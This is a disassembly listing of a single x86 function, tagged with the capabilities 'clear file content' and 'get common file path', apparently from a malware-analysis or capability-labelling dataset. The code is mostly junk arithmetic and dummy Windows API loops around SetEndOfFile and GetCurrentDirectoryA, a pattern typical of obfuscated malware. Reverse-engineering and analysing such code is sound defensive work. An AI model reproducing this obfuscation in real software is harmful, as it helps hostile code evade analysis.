Function at 0x40311e
Capabilities:
Clear file content
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ac
push esi
push edi
mov dword [ebp - 0xc], 0x65f0b791
mov dword [ebp - 0x58], 0x7a3ea2e9
mov dword [ebp - 0xa4], 0x20bfbb9b
mov dword [ebp - 0x98], 0x7a8656d
mov dword [ebp - 0x1c], 0x4dea25b0
mov dword [ebp - 0x34], 0x1520725b
mov dword [ebp - 0xa8], 0x3fbad58d
mov dword [ebp - 0xa0], 0x3c2ccc0c
mov dword [ebp - 0x18], 0x93d0e08
mov dword [ebp - 0x10], 0x22246e07
mov dword [ebp - 0x84], 0x3eda694d
mov dword [ebp - 0x6c], 0x30695dea
mov dword [ebp - 0x48], 0x7e7e00ad
mov dword [ebp - 0x24], 0x6ad6cca3
mov dword [ebp - 0x64], 0x166c8858
mov dword [ebp - 0x90], 0x1ecaacff
mov dword [ebp - 0x4c], 0x4d041429
mov dword [ebp - 0x88], 0x49444e36
mov dword [ebp - 0x38], 0x6156c0bd
mov dword [ebp - 0x50], 0x1fdcdc3b
mov dword [ebp - 0x30], 0x44fe0e61
mov dword [ebp - 0x7c], 0x52ff6703
mov dword [ebp - 0x14], 0x51f5f2c6
mov dword [ebp - 0x44], 0x6c66b65
mov dword [ebp - 0x9c], 0x698e0f82
mov dword [ebp - 8], 0x6b07b87b
mov dword [ebp - 0x80], 0x1789ba31
mov dword [ebp - 0x78], 0x27ec39d5
mov dword [ebp - 0x70], 0x19dfc22a
mov dword [ebp - 0x54], 0x4fa7716f
mov dword [ebp - 4], 0x2570ee99
mov dword [ebp - 0xac], 0x62faa4c
mov dword [ebp - 0x94], 0x5166e06f
mov dword [ebp - 0x3c], 0x5e6397ed
mov dword [ebp - 0x5c], 0x59aeaf6a
mov dword [ebp - 0x2c], 0x22b4f541
mov dword [ebp - 0x40], 0x68887af3
mov dword [ebp - 0x74], 0x5922432e
mov dword [ebp - 0x28], 0x2b8db9e5
mov dword [ebp - 0x68], 0x130cc77f
mov dword [ebp - 0x60], 0x6353ee8b
mov dword [ebp - 0x8c], 0x310cf4b9
mov dword [ebp - 0x20], 0x606e88a3
mov eax, 0x55cb83cd
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0xc], 0x4efa8628
sub dword [ebp - 0xc], 0xdbdb3a1
mov eax, 0x3dc117a1
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, 0x31b0bfb5
mul dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
sub dword [ebp - 0x58], 0x613d86a
add dword [ebp - 0x98], 0x2e2fdbaa
add dword [ebp - 0x98], 0x225c350d
sub dword [ebp - 0x58], 0x38f5dfde
mov eax, 0x4cc6e6b9
mul dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
add dword [ebp - 0x58], 0x34ee64e5
mov eax, 0x4d4f8177
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0x1c], 0x63f36dcc
mov eax, 0x630e0e48
mul dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
add dword [ebp - 0x98], 0xda884bb
sub dword [ebp - 0x34], 0x7af96f2a
sub dword [ebp - 0xa4], 0x3e8e77c3
sub dword [ebp - 0x98], 0x4f2a6d3b
sub dword [ebp - 0x58], 0x760afa03
add dword [ebp - 0xa4], 0xd628fa9
add dword [ebp - 0x58], 0x43a46eb2
mov eax, 0x399ce4f9
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0xa0], 0x7008f7cb
sub dword [ebp - 0x18], 0x62acc2f3
sub dword [ebp - 0x58], 0x55ec3007
sub dword [ebp - 0x1c], 0x277d8634
add dword [ebp - 0xa4], 0x38a1c777
mov eax, 0x7c7a5600
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], 0x5e61442
mov eax, 0x46f09f48
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0xa0], 0x70651654
add dword [ebp - 0x6c], 0x6ddd64ca
add dword [ebp - 0xa4], 0x68e6b923
mov eax, 0x7832e8a4
mul dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, 0x4e80465b
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add dword [ebp - 0x10], 0x1f32a33a
sub dword [ebp - 0xc], 0x33757508
add dword [ebp - 0x98], 0x3606f93e
sub dword [ebp - 0xa8], 0x6bbac121
sub dword [ebp - 0x88], 0x4fa30d31
sub dword [ebp - 0x90], 0x799e121c
add dword [ebp - 0x90], 0x308ce8cc
mov eax, 0x58803f1d
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, 0x4f490fcf
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, 0x3a942992
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
add dword [ebp - 0x10], 0x50d71315
mov eax, 0x48d93b34
mul dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
sub dword [ebp - 0x6c], 0x58b5964f
mov eax, 0x6897bf37
mul dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
sub dword [ebp - 0x88], 0x1086add7
add dword [ebp - 0x64], 0x46026e03
mov eax, 0x94c1e4d
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x84], 0x1819c02f
sub dword [ebp - 0x14], 0x572af1d4
sub dword [ebp - 0x4c], 0x6b83eb69
sub dword [ebp - 0x34], 0x572b2b88
sub dword [ebp - 0x64], 0x5f47cea8
sub dword [ebp - 0x30], 0x25a121fb
add dword [ebp - 0x7c], 0x2c19f330
sub dword [ebp - 0x14], 0x7c2459fb
add dword [ebp - 0x10], 0x5a0d789
add dword [ebp - 0xa4], 0x52899571
add dword [ebp - 0xa0], 0x72ee7489
mov eax, 0x49227eb2
mul dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
add dword [ebp - 0x24], 0x5556d445
mov eax, 0x5fa6f230
mul dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
sub dword [ebp - 0x9c], 0xf185360
sub dword [ebp - 0xa4], 0x12dd82a3
sub dword [ebp - 0x48], 0x1853847
add dword [ebp - 0x64], 0x28948903
mov eax, 0x3586b7fd
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0xc], 0x4c663d00
sub dword [ebp - 0xa0], 0x71aac4ad
mov eax, 0x48990979
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
add dword [ebp - 0x50], 0x4818c048
add dword [ebp - 0x24], 0x2130f141
mov eax, 0x47f2cebf
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, 0x757f46b8
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0xac], 0x4aa72a8d
sub dword [ebp - 0x94], 0x6933c160
mov eax, 0x22d5eca6
mul dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
add dword [ebp - 0x84], 0x152920b6
sub dword [ebp - 0x94], 0x28a589d5
mov eax, 0xd4f8f13
mul dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, 0x158201a4
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, 0x4a3f9ba4
mul dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
add dword [ebp - 0x9c], 0x2291f915
sub dword [ebp - 0x9c], 0x3fcc8625
sub dword [ebp - 0x50], 0x52011a3a
add dword [ebp - 0x7c], 0x47858e37
mov eax, 0x221aa37f
mul dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
sub dword [ebp - 0x98], 0x758659c4
mov eax, 0x6f8c631d
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, 0x2bf2ac5d
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub dword [ebp - 0x3c], 0xbd211ee
sub dword [ebp - 0x50], 0x7c975d54
sub dword [ebp - 0x78], 0x1ce81426
mov eax, 0x11c07612
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
add dword [ebp - 0xa0], 0x540b3d77
add dword [ebp - 0x54], 0xaf2ad09
add dword [ebp - 0x10], 0x3e7161b7
add dword [ebp - 0xa0], 0x51b5faa6
mov eax, 0x7aec9b9b
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
sub dword [ebp - 0xac], 0x74b3226e
sub dword [ebp - 0xa4], 0x748a4c10
mov eax, 0x4ba1113c
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, 0x4cbb5b32
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
xor esi, esi
xor edi, edi
cmp edi, 0x911
jge 0x4036b0
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
cmp edi, 0x166fd24
jg 0x4036c1
inc edi
cmp edi, 0x379d301
jl 0x4036a1
cmp dword [0x2481a44], 0x400
jne 0x403706
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawStateW]
push esi
call fcn.004037a9
push esi
call fcn.0040376f
push esi
push esi
call fcn.00403aac
add esp, 0x10
xor edi, edi
cmp edi, 0x16d22
jge 0x403718
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x12e8a06
jg 0x403736
inc edi
cmp edi, 0x30375
jl 0x403708
mov eax, dword [0x46c474]
mov dword [0x2481a44], eax
call fcn.00402e63
mov edi, 0x2ec37
cmp dword [0x2481a44], 0x51f
jne 0x403764
lea eax, [ebp - 0x4ac]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
dec edi
jne 0x40374a
pop edi
xor eax, eax
pop esi
leave
ret 0x10